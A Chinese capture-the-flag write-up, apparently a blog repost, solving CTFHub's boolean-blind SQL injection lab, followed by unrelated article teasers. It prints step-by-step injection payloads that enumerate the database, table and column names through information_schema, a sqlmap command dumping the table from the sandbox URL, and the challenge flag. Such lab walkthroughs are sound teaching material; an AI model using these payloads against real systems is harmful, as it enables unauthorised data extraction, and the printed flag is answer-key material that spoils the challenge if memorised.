CTFHUB技能树之SQL——布尔盲注

embedded/2024/10/24 2:19:22/

开启靶场,打开链接:

输入1:

显示查询成功但没有回显出相关信息,初步判断是布尔盲注入、时间盲注或报错注入


输入1':

还是没有回显


输入1":

还是没有回显,到这里已经可以确认是布尔盲注了,且是整数型注入


(1)爆数据库

下面为了方便就用burp进行操作:

先判断数据库名的长度:

1 and length(database())=1#

得到数据库名长度是4


下面需要用到ascii表:


先是第一个字符:

1 and ascii(substr(database(),1,1))=100#

说明第一个字符是115,对应字符's'


后面第二、三、四个字符也是类似的步骤:

1 and ascii(substr(database(),2,1))=100#

1 and ascii(substr(database(),3,1))=100#

1 and ascii(substr(database(),4,1))=100#

组合起来就是"sqli"


(2)爆表名

先得爆出表的数量

1 and (select count(table_name) from information_schema.tables where table_schema=database())>2#

显示查询出错,说明表有两个,再试试:

1 and (select count(table_name) from information_schema.tables where table_schema=database())=2#

查询成功,说明表有两个


这里为了节省时间就直接爆第二个表的字符了

(因为知道是news表和flag表)

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=50#

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=50 #

上面这两句就是分别查询数据库的第一个表和第二个表的第一个字符,区别已经用颜色标出


1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=100#

第一个字符是"f",后续就不多描述了,是flag表


(3)爆列名

先爆出列的数量

1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=2#

1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=1#


先爆列的第一个字符:

1 and ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'flag' order by ordinal_position limit 0,1), 1, 1)) = 100#

(ORDER BY ORDINAL_POSITION:按照列的顺序位置排序)

第一个字符是"f",后续就不多描述了,是flag列


(4)爆字段内容(flag)

先爆字段长度:

1 and (select length(flag) from sqli.flag limit 1) = 10 #


1 and ascii(substr((select flag from sqli.flag limit 0,1), 1, 1)) = 99 #

说明第一个字符是"c"


后续流程实在是太长了,就直接用sqlmap直接爆了

python sqlmap.py -u "http://challenge-3178d4a1492b39d2.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

得到flag:

ctfhub{a7709502382fa7e2f7ab5864}


http://www.ppmy.cn/embedded/129958.html

相关文章

论文阅读-Causality Guided Disentanglement for Cross-PlatformHate Speech Detection

https://arxiv.org/pdf/2308.02080 GitHub - paras2612/CATCH 目录 摘要 1 INTRODUCTION 3 PROPOSED METHOD 3.1 Preliminaries 3.2 Disentangling Causal and Target Representations 3.3 Model Training 4 EXPERIMENTS 4.1 Datasets and Evaluation Metrics 4.3 Perf…

【Flutter】Dart:运算符

在 Dart 中,运算符是非常重要的组成部分,它们可以对变量和常量进行多种运算操作。理解和掌握 Dart 中的各种运算符不仅可以帮助你编写更加高效、简洁的代码,还能更好地理解其背后的逻辑和设计。本文将深入探讨 Dart 中的运算符,包…

OpenCV高级图形用户界面(9)更改指定窗口的位置函数moveWindow()的使用

操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 将窗口移动到指定的位置。 cv::moveWindow() 函数用于更改指定窗口的位置。你可以使用这个函数来移动窗口到屏幕上的任何位置。 函数原型 void …

蓝桥算法双周赛 第 19 场 小白入门赛

打开石门 只要有相连的一样字母就可以消成一个 string s; int ans;void solve() {cin >> s;int len 0;for (int i 0;i < s.size();i ){if (s[i] L) len ;else //遇到Q{ans (len ? 1 : 0); //消除累计的Llen 0;ans ;//遇到Q}}//QLLLL时,最后遇不到Q让累计的L消…

React 进阶阶段学习计划

React 进阶阶段学习计划 目标 掌握自定义Hooks的创建和使用。深入理解上下文&#xff08;Context&#xff09;和Redux的高级用法。学会服务端渲染&#xff08;SSR&#xff09;。深入探讨性能优化技巧。 学习内容 自定义Hooks 创建和使用自定义Hooks 自定义Hooks&#xff1…

【设计模式-原型】

**原型模式&#xff08;Prototype Pattern&#xff09;**是一种创建型设计模式&#xff0c;旨在通过复制现有对象的方式来创建新对象&#xff0c;而不是通过实例化类来创建对象。该模式允许对象通过克隆&#xff08;复制&#xff09;来创建新的实例&#xff0c;因此避免了重新创…

js 基础补充3

1. 闭包 在函数内部定义的函数&#xff0c;可以访问改函数的属性和方法 私有属性 延长变量的生命周期&#xff0c;更好的避免命名冲突 缺点&#xff1a;内存消耗比较大&#xff0c;不建议频繁使用 2. js 原型 原型链 访问对像的属性方法&#xff0c;不光会在对象上查找还会在…

大厂面试真题-了解云原生吗,简单说一下docker和k8s

K8s&#xff08;Kubernetes&#xff09;和Docker都是容器化技术中的关键组件&#xff0c;但它们各自扮演着不同的角色。以下是对这两者的详细解析&#xff1a; 一、Docker Docker是一个开源的容器化平台&#xff0c;它允许开发人员将应用程序及其依赖项打包为一个独立的镜像&…